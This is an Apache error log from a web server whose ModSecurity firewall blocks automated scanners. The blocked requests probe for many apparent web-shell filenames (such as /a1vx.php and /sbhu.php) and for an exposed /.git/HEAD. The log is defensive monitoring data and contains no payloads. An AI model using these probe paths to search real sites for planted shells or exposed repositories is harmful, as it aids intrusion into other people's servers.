[Fri Feb 27 07:24:29.339441 2026] [:error] [pid 42563:tid 42590] [client 4.204.200.32:59199] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "aaDWLXKL5BclZy73IRHttQAAAdQ"]
[Fri Feb 27 07:24:30.046287 2026] [:error] [pid 42563:tid 42574] [client 4.204.200.32:16382] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "aaDWLnKL5BclZy73IRHtvAAAAcY"]
[Fri Feb 27 07:24:30.785518 2026] [:error] [pid 5365:tid 5382] [client 4.204.200.32:16348] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "aaDWLpYAa8J3tYxdG3yFFAAAAQ8"]
[Fri Feb 27 07:24:31.377806 2026] [:error] [pid 5365:tid 5372] [client 4.204.200.32:59180] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "aaDWL5YAa8J3tYxdG3yFFwAAAQU"]
[Fri Feb 27 07:24:32.583583 2026] [:error] [pid 42658:tid 42661] [client 4.204.200.32:16344] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "aaDWMIzcoYl3nRbu1jaiHAAAAgE"]
[Fri Feb 27 07:24:33.221773 2026] [:error] [pid 42658:tid 42663] [client 4.204.200.32:16377] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a1vx.php"] [unique_id "aaDWMYzcoYl3nRbu1jaiHwAAAgM"]
[Fri Feb 27 07:24:34.024777 2026] [:error] [pid 42563:tid 42569] [client 4.204.200.32:16350] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a1vx.php"] [unique_id "aaDWMnKL5BclZy73IRHtwgAAAcE"]
[Fri Feb 27 07:24:34.779770 2026] [:error] [pid 5365:tid 5387] [client 4.204.200.32:16352] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a1vx.php"] [unique_id "aaDWMpYAa8J3tYxdG3yFHAAAARQ"]
[Fri Feb 27 07:24:35.211182 2026] [:error] [pid 42563:tid 42573] [client 4.204.200.32:59213] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a1vx.php"] [unique_id "aaDWM3KL5BclZy73IRHtygAAAcU"]
[Fri Feb 27 07:24:35.766646 2026] [:error] [pid 4081:tid 4095] [client 4.204.200.32:59186] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sbhu.php"] [unique_id "aaDWMw55mnr35z8h7t30FQAAAMw"]
[Fri Feb 27 07:24:36.563728 2026] [:error] [pid 42658:tid 42673] [client 4.204.200.32:59220] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sbhu.php"] [unique_id "aaDWNIzcoYl3nRbu1jaiIwAAAg0"]
[Fri Feb 27 07:24:37.654020 2026] [:error] [pid 5365:tid 5378] [client 4.204.200.32:59160] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sbhu.php"] [unique_id "aaDWNZYAa8J3tYxdG3yFIQAAAQs"]
[Fri Feb 27 07:24:38.406028 2026] [:error] [pid 21329:tid 21384] [client 4.204.200.32:59157] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sbhu.php"] [unique_id "aaDWNpvQWnde-MjcQ1F0BQAAAUE"]
[Fri Feb 27 07:24:39.755787 2026] [:error] [pid 42658:tid 42664] [client 4.204.200.32:16268] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aaDWN4zcoYl3nRbu1jaiKgAAAgQ"]
[Fri Feb 27 07:24:40.690120 2026] [:error] [pid 5365:tid 5384] [client 4.204.200.32:59153] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aaDWOJYAa8J3tYxdG3yFJgAAARE"]
[Fri Feb 27 07:24:41.446229 2026] [:error] [pid 42563:tid 42569] [client 4.204.200.32:16375] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aaDWOXKL5BclZy73IRHtzwAAAcE"]
[Fri Feb 27 07:24:42.053687 2026] [:error] [pid 42435:tid 42464] [client 4.204.200.32:59241] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aaDWOh5hHLnaukp_y9-mZwAAAZg"]
[Fri Feb 27 07:24:42.714435 2026] [:error] [pid 42563:tid 42589] [client 4.204.200.32:16292] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/06.php"] [unique_id "aaDWOnKL5BclZy73IRHt0gAAAdM"]
[Fri Feb 27 07:24:43.341227 2026] [:error] [pid 4081:tid 4083] [client 4.204.200.32:59196] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/06.php"] [unique_id "aaDWOw55mnr35z8h7t30FwAAAMA"]
[Fri Feb 27 07:24:43.896820 2026] [:error] [pid 42563:tid 42587] [client 4.204.200.32:16333] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/06.php"] [unique_id "aaDWO3KL5BclZy73IRHt0wAAAdE"]
[Fri Feb 27 07:24:44.551550 2026] [:error] [pid 3974:tid 4046] [client 4.204.200.32:16260] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/06.php"] [unique_id "aaDWPHp-fQtdOYjkuFvqvQAAAEk"]
[Fri Feb 27 07:24:45.069050 2026] [:error] [pid 42563:tid 42594] [client 4.204.200.32:16345] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "aaDWPXKL5BclZy73IRHt2wAAAdg"]
[Fri Feb 27 07:24:45.803887 2026] [:error] [pid 5365:tid 5373] [client 4.204.200.32:16378] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "aaDWPZYAa8J3tYxdG3yFKQAAAQY"]
[Fri Feb 27 07:24:46.672590 2026] [:error] [pid 3974:tid 4054] [client 4.204.200.32:59175] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "aaDWPnp-fQtdOYjkuFvqwAAAAFE"]
[Fri Feb 27 07:24:47.173249 2026] [:error] [pid 3974:tid 4043] [client 4.204.200.32:16328] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "aaDWP3p-fQtdOYjkuFvqxAAAAEY"]
[Fri Feb 27 07:24:47.870359 2026] [:error] [pid 4081:tid 4104] [client 4.204.200.32:59211] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fot.php"] [unique_id "aaDWPw55mnr35z8h7t30GQAAANU"]
[Fri Feb 27 07:24:48.463800 2026] [:error] [pid 42563:tid 42573] [client 4.204.200.32:16323] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fot.php"] [unique_id "aaDWQHKL5BclZy73IRHt6AAAAcU"]
[Fri Feb 27 07:24:49.327606 2026] [:error] [pid 5365:tid 5387] [client 4.204.200.32:59177] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fot.php"] [unique_id "aaDWQZYAa8J3tYxdG3yFKgAAARQ"]
[Fri Feb 27 07:24:50.154519 2026] [:error] [pid 42658:tid 42675] [client 4.204.200.32:16356] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fot.php"] [unique_id "aaDWQozcoYl3nRbu1jaiPgAAAg8"]
[Fri Feb 27 07:24:51.043748 2026] [:error] [pid 42658:tid 42672] [client 4.204.200.32:16284] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ff1.php"] [unique_id "aaDWQ4zcoYl3nRbu1jaiRAAAAgw"]
[Fri Feb 27 07:24:51.863499 2026] [:error] [pid 42658:tid 42660] [client 4.204.200.32:16276] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ff1.php"] [unique_id "aaDWQ4zcoYl3nRbu1jaiSwAAAgA"]
[Fri Feb 27 07:24:52.757319 2026] [:error] [pid 42563:tid 42572] [client 4.204.200.32:16361] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ff1.php"] [unique_id "aaDWRHKL5BclZy73IRHt7AAAAcQ"]
[Fri Feb 27 07:24:53.366727 2026] [:error] [pid 42563:tid 42587] [client 4.204.200.32:59227] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ff1.php"] [unique_id "aaDWRXKL5BclZy73IRHt7wAAAdE"]
[Fri Feb 27 07:24:54.368275 2026] [:error] [pid 42435:tid 42450] [client 4.204.200.32:16286] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/forbidals.php"] [unique_id "aaDWRh5hHLnaukp_y9-mdQAAAYo"]
[Fri Feb 27 07:24:54.811164 2026] [:error] [pid 42563:tid 42593] [client 4.204.200.32:16294] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/forbidals.php"] [unique_id "aaDWRnKL5BclZy73IRHt9QAAAdc"]
[Fri Feb 27 07:24:55.248289 2026] [:error] [pid 42658:tid 42669] [client 4.204.200.32:59155] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/forbidals.php"] [unique_id "aaDWR4zcoYl3nRbu1jaiVQAAAgk"]
[Fri Feb 27 07:24:55.749116 2026] [:error] [pid 3973:tid 3999] [client 4.204.200.32:16291] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/forbidals.php"] [unique_id "aaDWR4JZsftwqmUaaLMDSgAAABA"]
[Fri Feb 27 07:24:56.323754 2026] [:error] [pid 42435:tid 42445] [client 4.204.200.32:16370] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/erty.php"] [unique_id "aaDWSB5hHLnaukp_y9-mdwAAAYU"]
[Fri Feb 27 07:24:56.798677 2026] [:error] [pid 42563:tid 42569] [client 4.204.200.32:59221] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/erty.php"] [unique_id "aaDWSHKL5BclZy73IRHt-gAAAcE"]
[Fri Feb 27 07:24:57.620481 2026] [:error] [pid 42563:tid 42587] [client 4.204.200.32:16332] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/erty.php"] [unique_id "aaDWSXKL5BclZy73IRHt_QAAAdE"]
[Fri Feb 27 07:24:58.361264 2026] [:error] [pid 3975:tid 4036] [client 4.204.200.32:16263] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/erty.php"] [unique_id "aaDWShMVp0-T2hD76b3JKwAAAJc"]
[Fri Feb 27 07:24:59.341211 2026] [:error] [pid 42658:tid 42668] [client 4.204.200.32:59194] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dev1s.php"] [unique_id "aaDWS4zcoYl3nRbu1jaiXgAAAgg"]
[Fri Feb 27 07:25:00.081988 2026] [:error] [pid 3974:tid 4055] [client 4.204.200.32:16351] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dev1s.php"] [unique_id "aaDWTHp-fQtdOYjkuFvqyQAAAFI"]
[Fri Feb 27 07:25:00.868584 2026] [:error] [pid 5365:tid 5367] [client 4.204.200.32:16310] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dev1s.php"] [unique_id "aaDWTJYAa8J3tYxdG3yFPgAAAQA"]
[Fri Feb 27 07:25:02.141031 2026] [:error] [pid 42658:tid 42661] [client 4.204.200.32:59143] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dev1s.php"] [unique_id "aaDWTozcoYl3nRbu1jaiZQAAAgE"]
[Fri Feb 27 07:25:03.445740 2026] [:error] [pid 3974:tid 4043] [client 4.204.200.32:59159] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ffd.php"] [unique_id "aaDWT3p-fQtdOYjkuFvqzQAAAEY"]
[Fri Feb 27 07:25:04.584690 2026] [:error] [pid 42435:tid 42452] [client 4.204.200.32:16320] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ffd.php"] [unique_id "aaDWUB5hHLnaukp_y9-mfgAAAYw"]
[Fri Feb 27 07:25:05.703907 2026] [:error] [pid 42563:tid 42580] [client 4.204.200.32:16308] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ffd.php"] [unique_id "aaDWUXKL5BclZy73IRHuBAAAAco"]
[Fri Feb 27 07:25:06.633605 2026] [:error] [pid 3974:tid 4053] [client 4.204.200.32:16326] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ffd.php"] [unique_id "aaDWUnp-fQtdOYjkuFvq0gAAAFA"]
[Fri Feb 27 07:58:18.989369 2026] [proxy_fcgi:error] [pid 42658:tid 42671] [client 4.205.37.160:54210] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 07:58:19.225651 2026] [proxy_fcgi:error] [pid 42658:tid 42679] [client 4.205.37.160:54210] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:10:35.519694 2026] [:error] [pid 3975:tid 4012] [client 91.122.53.173:56756] [client 91.122.53.173] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/HEAD"] [unique_id "aaDg-xMVp0-T2hD76b3MwwAAAII"]
[Fri Feb 27 08:11:33.863636 2026] [proxy_fcgi:error] [pid 42435:tid 42446] [client 51.12.82.80:11507] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:11:34.134133 2026] [proxy_fcgi:error] [pid 42435:tid 42448] [client 51.12.82.80:11507] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:11:34.400100 2026] [proxy_fcgi:error] [pid 42435:tid 42455] [client 51.12.82.80:11507] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:11:34.678873 2026] [proxy_fcgi:error] [pid 42435:tid 42463] [client 51.12.82.80:11507] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:11:35.509947 2026] [proxy_fcgi:error] [pid 42435:tid 42460] [client 51.12.82.80:11507] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:11:35.793735 2026] [proxy_fcgi:error] [pid 42435:tid 42440] [client 51.12.82.80:11507] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:11:36.327434 2026] [proxy_fcgi:error] [pid 42435:tid 42452] [client 51.12.82.80:11507] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:11:36.591439 2026] [:error] [pid 42435:tid 42450] [client 51.12.82.80:11507] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aaDhOB5hHLnaukp_y9-yTAAAAYo"]
[Fri Feb 27 08:11:37.134238 2026] [:error] [pid 3973:tid 3988] [client 51.12.82.80:18938] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aaDhOYJZsftwqmUaaLMHIgAAAAU"]
[Fri Feb 27 08:11:37.693367 2026] [:error] [pid 5365:tid 5382] [client 51.12.82.80:21012] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aaDhOZYAa8J3tYxdG3yihAAAAQ8"]
